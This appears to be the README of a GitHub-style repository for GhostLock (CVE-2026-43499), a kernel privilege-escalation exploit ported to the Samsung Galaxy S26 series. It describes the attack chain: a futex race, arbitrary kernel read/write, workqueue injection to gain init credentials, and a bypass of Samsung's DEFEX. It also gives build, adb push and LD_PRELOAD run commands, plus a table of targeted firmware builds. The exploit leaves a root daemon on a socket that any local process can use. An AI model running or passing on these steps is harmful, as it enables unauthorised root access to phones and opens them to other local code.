
GhostLock (CVE-2026-43499) pour le Galaxy S26
CVE-2026-43499 porté sur la série Samsung Galaxy S26 — Android 16 / GKI 6.12. Un seul binaire, trois lignes de noyau, correspondance dynamique des paramètres à l'exécution : couvre théoriquement toute la série S26 sans compilation par build.
La plupart des efforts de portage de GhostLock ciblent un seul appareil ou un seul firmware. Ce dépôt est un nouveau portage qui réécrit chaque mécanisme pour la cible S26 et est censé couvrir toute la famille.
En assurant la maintenance de snothin/CyberMeowfia, j'ai constaté que le canal pipe physrw d'origine était instable (il coupait le réseau), alors j'ai abandonné cette voie et exploré des alternatives. J'ai ensuite découvert que monovibe était allé plus loin sur la voie que j'explorais, j'ai adopté l'approche, et après des débogages répétés ce dépôt a pris forme.
uid=0(root) context=u:r:kernel:s0 ; shell
root persistant via su_daemon sur une socket unix abstraite.work_struct sur
system_unbound_wq dont la fonction est call_usermodehelper_exec_work, de sorte que le noyau
exécute notre démon avec les creds d'init. La garde EL2 de KDP sur les pages de credentials n'est jamais
déclenchée.pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
Les paramètres sont mis en correspondance par ligne de noyau (trois lignes : cn, intl, exynos), et non
par build individuel. Les builds OTA inconnus retombent sur la ligne connue la plus proche selon le modèle
et le CSC. Les modèles totalement inconnus sont rejetés (échec fermé). La liste de builds embarquée
fait autorité dans exploit/src/params_table.c.
Voir PORTING.md pour les paramètres nécessaires lors du portage vers un nouvel
appareil ou firmware.
Nécessite le NDK Android (r26+). Il suffit d'exécuter :
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
Poussez preload.so, su_daemon_aarch64_pie et ksud vers l'appareil (à exécuter depuis une session
shell adb, uid 2000) :
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
L'exploit est probabiliste (une course) et nécessite généralement plusieurs tentatives. Lors d'une
exécution réussie, su_daemon écoute sur /data/local/tmp/temp_su.sock, et n'importe quel
processus local peut se connecter.
La garde de revendication de démarrage (/data/local/tmp/ghostlock-boot.log) enregistre le résultat de
chaque exécution au démarrage ; une seconde exécution complète de la chaîne dans le même démarrage est rejetée (elle peut faire planter
l'appareil). Supprimez le fichier ou définissez BOOT_FORCE=1 pour outrepasser.
exploit/src/kernelsnitch/)Ce dépôt est publié sous la licence Apache-2.0 ; voir LICENSE pour le texte intégral et NOTICE pour la provenance du code.
| Modèle | Nom de code de l'appareil | Builds testés |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (build testé) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |